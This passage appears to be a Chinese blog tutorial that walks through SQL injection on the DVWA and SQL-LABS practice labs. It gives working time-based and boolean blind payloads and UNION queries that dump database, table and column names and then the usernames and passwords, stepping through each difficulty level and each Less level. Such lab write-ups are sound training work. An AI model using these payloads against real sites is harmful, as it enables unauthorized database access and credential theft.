同樣採用二分法。

基於時間的盲注:

1.判斷是否存在注入,注入是字符型還是數字型

輸入1' and sleep(5) #,感覺到明顯延遲;
輸入1 and sleep(5) #,沒有延遲;

說明存在字符型的基於時間的盲注。

2.猜解當前數據庫名

首先猜解數據名的長度:

1' and if(length(database())=1,sleep(5),1) # 沒有延遲 1' and if(length(database())=2,sleep(5),1) # 沒有延遲 1' and if(length(database())=3,sleep(5),1) # 沒有延遲 1' and if(length(database())=4,sleep(5),1) # 明顯延遲

說明數據庫名長度爲4個字符。

接着採用二分法猜解數據庫名:

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲 … 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒有延遲 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒有延遲 說明數據庫名的第一個字符爲小寫字母d。
 …

重複上述步驟,即可猜解出數據庫名。

3.猜解數據庫中的表名

首先猜解數據庫中表的數量:

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒有延遲
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲

說明數據庫中有兩個表。

接着挨個猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲

說明第一個表名的長度爲9個字符。

採用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的數量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒有延遲
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲

說明users表中有8個字段。

接着挨個猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒有延遲
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲

說明users表的第一個字段長度爲7個字符。

採用二分法即可猜解出各個字段名。

5.猜解數據

同樣採用二分法。

Medium

分析:
Medium級別的代碼利用mysql_real_escape_string函數對特殊符號

\x00,\n,\r,,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。

漏洞利用

雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數id,提交惡意構造的查詢參數。

上文有詳細的盲注流程,這裏就簡要演示幾個。

首先是基於布爾的盲注:

抓包改參數id爲1 and length(database())=4 #,顯示存在,說明數據庫名的長度爲4個字符;
抓包改參數id爲1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度爲9個字符;
抓包改參數id爲1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273爲users的16進制),顯示存在,說明uers表有8個字段。

然後是基於時間的盲注:

抓包改參數id爲1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說明數據庫名的長度爲4個字符;
抓包改參數id爲1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說明數據中的第一個表名長度爲9個字符;
抓包改參數id爲1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說明uers表有8個字段。
High

分析:
High級別的代碼利用cookie傳遞參數id,當SQL查詢結果爲空時,會執行函數sleep(seconds),目的是爲了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。

漏洞利用

雖然添加了LIMIT 1,但是我們可以通過#將其註釋掉。但由於服務器端執行sleep函數,會使得基於時間盲注的準確性受到影響,這裏我們只演示基於布爾的盲注:

抓包將cookie中參數id改爲1’ and length(database())=4 #,顯示存在,說明數據庫名的長度爲4個字符;
抓包將cookie中參數id改爲1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說明數據中的第一個表名長度爲9個字符;
抓包將cookie中參數id改爲1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 爲users的16進制),顯示存在,說明uers表有8個字段。

SQL-LABS

Less-1(GET單引號字符型注入)

#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2

#確定字段數 #不能用#【坑點1】
?id=1' order by 3 --+
?id=1' order by 4 %23

#聯合查詢查看顯示位 #id要爲負數【坑點2】
?id=-1' union select 1,2,3 --+

#爆庫【security】
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,database() --+   

#爆表【emails,referers,uagents,users】
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

#爆列【...id,username,password...】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

#爆值【DumbDumb...】
?id=-1' union select 1,2,group_concat(username,password) from users --+

坑點1:URL框中的sql語句中不能用直接使用#號,要用--+(等價於--空格)或者%23,但是輸入框中可以用#,應爲輸入框提交是會執行一次URL編碼,#會被編譯成%23
原因是url中#號是用來指導瀏覽器動作的(例如錨點),對服務器端完全無用。所以,HTTP請求中不包括#
將#號改成url的編碼%23或者使用--+就可以了

坑點2:在聯合查詢查看顯示位,使用union聯合查詢後發現頁面返回的數據沒變,這是因爲如果左邊的SQL語句正確執行那麼就會只返回左邊第一個查詢語句的運行結果,那麼我們只要讓第一行查詢的結果是空集(即union左邊的select子句查詢結果爲空),那麼我們union右邊的查詢結果自然就成爲了第一行,就打印在網頁上了。

這個id傳遞的是數字,而且一般都是從1開始自增的,我們可以把id值設爲非正數(負數或0),浮點數,字符型或字符串都行,主要是使左邊的查詢語句報錯就行。

Less-2(GET數字型注入)

#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數
?id=1 order by 3
?id=1 order by 4 
#聯合查詢查看顯示位
?id=-1 union select 1,2,3
#爆庫
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,database()
#爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
#爆值
?id=-1 union select 1,2,group_concat(username,password) from users

Less-3(GET單引號變形字符型注入)

#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 3 --+
#報錯 for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1
#由錯誤提示可知後臺查詢語句應爲select * from * where id = ('$id') LIMIT 0,1
#構造?id=1') --+ 進行測試。訪問正常,猜測正確。
#確定字段數
?id=1') order by 3 --+
?id=1') order by 4 --+
#聯合查詢查看顯示位
?id=-1') union select 1,2,3 --+
#爆庫
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database() --+
#爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

Less-4(GET雙引號字符型注入)

#查看頁面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 4 --+
?id=1" order by 4 --+
#報錯  to use near 'order by 4 -- ") LIMIT 0,1' at line 1
#由錯誤提示可知後臺查詢語句應爲select * from * where id = ("$id") LIMIT 0,1
#構造?id=1") --+ 進行測試。訪問正常,猜測正確。
#確定字段數
?id=1") order by 3 --+
?id=1") order by 4 --+
#聯合查詢查看顯示位
?id=-1") union select 1,2,3 --+
#爆庫
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database() --+
#爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-5(雙注入GET單引號字符型注入)

一些感悟

我自己我在學習Web安全的過程中,也是倍感枯燥,總想急於求成,想要簡單學一哈就能實現各種🐄🍺操作,顯然不是那麼容易的,所以請靜下心來鑽研吧,慢慢來,比較快!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章